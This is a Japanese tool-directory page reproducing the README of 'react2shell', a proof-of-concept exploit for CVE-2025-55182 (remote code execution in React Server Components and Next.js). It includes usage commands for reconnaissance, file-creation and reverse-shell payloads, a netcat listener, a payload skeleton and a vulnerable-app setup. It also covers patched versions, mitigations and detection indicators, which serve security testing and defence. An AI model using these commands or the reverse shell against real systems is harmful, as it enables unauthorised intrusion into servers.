Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
react2shell — 脆弱性CVE-2025-55182を悪用するための完全なフレームワーク | Kitploit
ツール/GitHubGitHub/zr0n/react2shell
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育リモートアクセスツールペイロード開発
GitHubzr0n/react2shell

react2shell

脆弱性CVE-2025-55182を悪用するための完全なフレームワーク

リポジトリを見る
10539ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

React2Shell - CVE-2025-55182 エクスプロイト PoC

Security Platform License

CVE-2025-55182 に対する概念実証エクスプロイトです。これは、React Server Components を使用する Next.js アプリケーションにおける重大なリモートコード実行の脆弱性です。

⚠️ 免責事項

このツールは教育目的および許可されたセキュリティテスト専用です。

  • ❌ 自分が所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。
  • ❌ コンピュータシステムへの不正アクセスは違法です。
  • ✅ 学習および許可された侵入テストのための管理された環境でのみ使用してください。
  • ✅ 作成者は、このツールの誤用またはそれによって生じた損害について責任を負いません。

📋 脆弱性の詳細

  • CVE ID: CVE-2025-55182
  • 脆弱性: React Server Components におけるリモートコード実行
  • 影響を受けるバージョン:
    • Next.js: ≥14.3.0-canary.77、App Router を使用するすべての 15.x および 16.x バージョン
    • React: 19.0, 19.1.0, 19.1.1, 19.2.0
  • 修正済みバージョン:
    • Next.js: 16.0.7, 15.5.7, 15.4.8, 15.3.6, 15.2.6, 15.1.9, 15.0.5
    • React: 19.0.1, 19.1.2, 19.2.1
  • CVSS スコア: クリティカル
  • 攻撃ベクトル: ネットワークベース、細工された POST リクエストが必要

🎯 機能

  • ✅ クロスプラットフォーム対応(Windows & Linux)
  • ✅ 複数のペイロードタイプ
  • ✅ リバースシェル機能
  • ✅ 視覚的な証明ペイロード(calc、notepad)
  • ✅ ファイルシステム操作
  • ✅ システム情報収集

🔧 インストール

root@kitploit:~
# このリポジトリをクローンまたはダウンロード
git clone https://github.com/zr0n/react2shell
cd react2shell

# 依存関係をインストール
npm install form-data

💻 使用方法

基本構文

root@kitploit:~
node react2shell.js <target_url> <payload_type> [options]

利用可能なペイロード

ペイロード説明例
basic数学的な概念実証 (7*7+1=50)node react2shell.js http://target:3000 basic
whoami現在のシステムユーザーを表示node react2shell.js http://target:3000 whoami
dir現在のディレクトリの内容を一覧表示node react2shell.js http://target:3000 dir
systeminfoオペレーティングシステム情報を表示node react2shell.js http://target:3000 systeminfo
fileEXPLOITED.txt 証明ファイルを作成node react2shell.js http://target:3000 file
calc電卓を起動(Windows 視覚的証明)node react2shell.js http://target:3000 calc
notepadメモ帳を起動(Windows 視覚的証明)node react2shell.js http://target:3000 notepad
shellリバースシェル(Windows/Linux 自動検出)node react2shell.js http://target:3000 shell 10.10.10.5 4444

例

1. 基本的な概念実証

root@kitploit:~
node react2shell.js http://localhost:3000 basic
# サーバーコンソールで出力を確認: EXPLOITED: 50

2. システム偵察

root@kitploit:~
# 現在のユーザーを取得
node react2shell.js http://localhost:3000 whoami

# ファイルを一覧表示
node react2shell.js http://localhost:3000 dir

# システム情報
node react2shell.js http://localhost:3000 systeminfo

3. 視覚的証明(Windows)

root@kitploit:~
# 電卓を起動
node react2shell.js http://localhost:3000 calc

# メモ帳を起動
node react2shell.js http://localhost:3000 notepad

4. ファイル作成証明

root@kitploit:~
node react2shell.js http://localhost:3000 file
# サーバーディレクトリで EXPLOITED.txt を確認

5. リバースシェル

root@kitploit:~
# 端末1: リスナーを起動
nc -lvnp 4444

# 端末2: エクスプロイトを実行
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444

# Windows (PowerShell) および Linux (Bash) の両方で動作

🏗️ 脆弱な環境のセットアップ

前提条件

  • Node.js 18+
  • npm または yarn

脆弱な Next.js アプリケーションの作成

root@kitploit:~
# プロジェクトディレクトリを作成
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app

# 脆弱なバージョンで Next.js を初期化
npx create-next-app@latest . --ts --app --no-eslint --tailwind

# 脆弱なバージョンにダウングレード
npm install [email protected]

# 依存関係をインストール
npm install

最小限の脆弱なアプリ (app/page.tsx)

root@kitploit:~
export default function Home() {
  return (
    <div className="p-8">
      <h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
      <p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
    </div>
  );
}

サーバーを起動

root@kitploit:~
npm run dev
# サーバーは http://localhost:3000 で起動

🔍 動作原理

このエクスプロイトは、React Server Components におけるデシリアライゼーションの脆弱性を利用します。

  1. ペイロードの構築: プロトタイプ汚染を伴う悪意のあるシリアライズオブジェクトを作成
  2. 関数コンストラクタへのアクセス: constructor.constructor を悪用して Function コンストラクタにアクセス
  3. コードインジェクション: _prefix フィールドを通じて任意の JavaScript コードを注入
  4. 実行: サーバーがペイロードをデシリアライズし、注入されたコードを実行

技術的詳細

root@kitploit:~
// 簡略化された脆弱性チェーン
{
  _formData: {
    get: '$3:constructor:constructor' // Function コンストラクタへのアクセス
  },
  _prefix: 'YOUR_CODE_HERE//' // 注入されたコード
}

🛡️ 緩和策

アプリケーション所有者向け

  1. 直ちに更新:

    root@kitploit:~
    npm update next@latest
    npm update react@latest react-dom@latest
    
  2. パッチ適用バージョンの確認:

    root@kitploit:~
    npm list next react
    
  3. 必要なバージョン:

    • Next.js: ≥16.0.7 または ≥15.5.7
    • React: ≥19.2.1 または ≥19.1.2

セキュリティチーム向け

  • インフラ内の脆弱な Next.js バージョンをスキャン
  • 悪意のある RSC ペイロードを検出する Web アプリケーションファイアウォール(WAF)ルールを実装
  • next-action ヘッダーを含む不審な POST リクエストを監視
  • サーバーサイドログで予期しないコード実行パターンを確認

📊 検出

WAF ルール

以下の POST リクエストを監視:

  • ヘッダー: next-action
  • Content-Type: multipart/form-data
  • ボディに含まれる: constructor、_prefix、_formData

ログパターン

root@kitploit:~
POST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (成功したエクスプロイト) または 500 (失敗)

📚 参考文献

  • CVE-2025-55182 - NVD
  • Next.js セキュリティアドバイザリ
  • React セキュリティアップデート
  • OWASP コードインジェクション

🤝 貢献

これは教育ツールです。以下の改善に貢献してください:

  • 検出機能
  • ドキュメント
  • 防御戦略
  • 教育コンテンツ

攻撃能力を強化する投稿は送信しないでください。

📜 ライセンス

教育目的のみ - 保証は一切ありません

👤 作者

Luiz Fernando Ziron サイバーセキュリティの教育と啓発目的で作成されました。

⚖️ 法的通知

このツールを使用することにより、以下に同意したものとみなされます:

  • 自分が所有する、または明示的な書面によるテスト許可があるシステムでのみ使用すること
  • 自身の行動に対する全責任を負うこと
  • 作成者を誤用または損害について責任を問わないこと
  • すべての該当する法律および規制を遵守すること

コンピュータシステムへの不正アクセスは、ほとんどの法域で犯罪です。


安全に、倫理的に、合法的に行動しましょう。🔒

ツールをダウンロード